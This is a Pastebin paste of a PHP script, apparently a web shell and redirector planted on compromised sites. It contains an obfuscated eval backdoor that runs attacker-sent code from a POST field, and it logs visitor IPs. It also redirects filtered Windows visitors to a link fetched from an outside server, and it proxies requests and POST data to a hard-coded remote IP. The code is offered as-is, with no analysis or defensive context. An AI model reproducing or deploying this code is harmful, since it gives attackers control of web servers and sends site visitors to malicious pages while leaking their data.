PalmaSolutions

showtread.php

Apr 28th, 2018
316
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.95 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4. $host = '213.133.123.43';
  5.  
  6.  
  7. @error_reporting(0);
  8. @ini_set("display_errors", 0);
  9. @ini_set("log_errors", 0);
  10. @ini_set("error_log", 0);
  11.  
  12. if (isset($_GET['r'])) die($_GET['r']);
  13.  
  14. if (isset($_POST['e']) && !empty($_POST['e']))
  15. {
  16.     eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e']))))));
  17.     exit();
  18. }
  19.  
  20. if (isset($_GET['sid']))
  21. {
  22.     $cache = 'link.cache';
  23.     $flock = 'link.flock';
  24.     $hosts = 'hosts.txt';
  25.  
  26.     if
  27.     (
  28.         strlen($_SERVER["HTTP_REFERER"]) < 10 ||
  29.         !preg_match("/Windows/", $_SERVER["HTTP_USER_AGENT"]) ||
  30.         preg_match('/(windows ce)|(Polaris)|(Pocket)|(Dolfin)|(Obigo)|(Alcatel)|(Kindle)|(Motorola)|(Blazer)|(Symbian)|(SonyEricsson)|(Android)|(Palm)|(blackberry)|(Nokia)|(SAMSUNG)|(Mobile)|(Mobi)|(Mini)|(WAP)|(phone)|(iPhone)|(iPad)|(iPod)|(tablet)|(hiptop)|(netfront)|(uZard)|(TeaShark)|(ucweb)|(Tear)|(Skyfire)|(UP\.Browser)|(UPG1)|(Fennec)/i',$_SERVER['HTTP_USER_AGENT']) ||
  31.         preg_match('/(java)|(windows 95)|(windows 98)|(windows me)|(win9)|(win 9)|(windows nt 4)|(MSIE 5)/i',$_SERVER['HTTP_USER_AGENT'])
  32.     )
  33.     {
  34.         exit;
  35.     }
  36.  
  37.     $ips = @explode("\n", trim(@file_get_contents($hosts)));
  38.  
  39.     if (@in_array($_SERVER['REMOTE_ADDR'], $ips)) exit;
  40.  
  41.     $ips[] = $_SERVER['REMOTE_ADDR'];
  42.  
  43.     if (count($ips) > 3000) $ips = array_slice($ips, 1);
  44.  
  45.     $fp = @fopen ($hosts, 'w');
  46.     @flock($fp, LOCK_EX);
  47.     @fputs($fp, implode("\n", $ips));
  48.     @flock($fp, LOCK_UN);
  49.     @fclose($fp);
  50.  
  51.     $link = @file_get_contents($cache);
  52.  
  53.     if (time()-@filemtime($flock) > 10) @unlink($flock);
  54.  
  55.     if (time()-@filemtime($cache) > 60 && !@file_exists($flock))
  56.     {
  57.         $fp = @fopen ($flock, 'w');
  58.         @flock($fp, LOCK_EX);
  59.         @fputs($fp, time());
  60.         @flock($fp, LOCK_UN);
  61.         @fclose($fp);
  62.  
  63.         $link = @file_get_contents('http://88.198.28.38/api.php?action=link&aid=1&fid=3516&hash=aca7f10053880cd0e83a6ebbb98d65f63834545a');
  64.  
  65.         @unlink($flock);
  66.  
  67.         if (strlen($link) > 20)
  68.         {
  69.             $fp = @fopen ($cache, 'w');
  70.             @flock($fp, LOCK_EX);
  71.             @fputs($fp, $link);
  72.             @flock($fp, LOCK_UN);
  73.             @fclose($fp);
  74.         }
  75.     }
  76.  
  77.     header ('Location: ' . $link);
  78.     exit;
  79. }
  80.  
  81. $ch = curl_init();
  82. curl_setopt($ch, CURLOPT_HEADER, true);
  83. curl_setopt($ch, CURLOPT_VERBOSE, false);
  84. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
  85. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  86. curl_setopt($ch, CURLOPT_URL, 'http://' . $host . $_SERVER['REQUEST_URI']);
  87. curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  88. curl_setopt($ch, CURLOPT_TIMEOUT, 7);
  89. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3);
  90. curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER']);
  91. curl_setopt($ch, CURLOPT_HTTPHEADER, array(
  92.    
  93.     'X-Server-IP: ' . $host,
  94.     'X-Real-IP: ' . $_SERVER['REMOTE_ADDR'],
  95.     'X-Real-Host: ' . $_SERVER['HTTP_HOST'],
  96.     'X-Real-Request-Uri: ' . urlencode($_SERVER['REQUEST_URI']),
  97.    
  98. ));
  99.  
  100. if (count($_POST) > 0)
  101. {
  102.     curl_setopt($ch, CURLOPT_POST, true);
  103.     curl_setopt($ch, CURLOPT_POSTFIELDS, $_POST);
  104. }
  105.  
  106. $page = curl_exec($ch);
  107. $err  = curl_errno($ch);
  108.  
  109.  
  110. header('X-Curl-Errno: ' . $err);
  111.  
  112.  
  113. if ($err == 0)
  114. {
  115.    
  116.     $page = str_replace ("HTTP/1.1 100 Continue\r\n\r\n", '', $page);
  117.    
  118.     list($pageHeaders, $pageData) = explode("\r\n\r\n", $page, 2);
  119.    
  120.     $pageHeadersArr = explode("\r\n", trim($pageHeaders));
  121.     foreach ($pageHeadersArr AS $header)
  122.     {
  123.        
  124.         if (preg_match('/^HTTP\/1[.][01] 404/Usi', $header)) header($header);
  125.         if (preg_match('/^Location/Usi', $header)) header($header);
  126.         if (preg_match('/^Expires/Usi', $header)) header($header);
  127.         if (preg_match('/^Cache-Control/Usi', $header)) header($header);
  128.         if (preg_match('/^Pragma/Usi', $header)) header($header);
  129.         if (preg_match('/^Content-Transfer-Encoding/Usi', $header)) header($header);
  130.         if (preg_match('/^Content-Length/Usi', $header)) header($header);
  131.         if (preg_match('/^Content-Disposition/Usi', $header)) header($header);
  132.         if (preg_match('/^Content-Type/Usi', $header)) header($header);
  133.         if (preg_match('/^X-Data-MD5/Usi', $header)) header($header);
  134.        
  135.     }
  136.    
  137.     print $pageData;
  138.    
  139. }
  140.  
  141. curl_close($ch);
  142.  
  143. ?>
Advertisement
Add Comment
Please, Sign In to add comment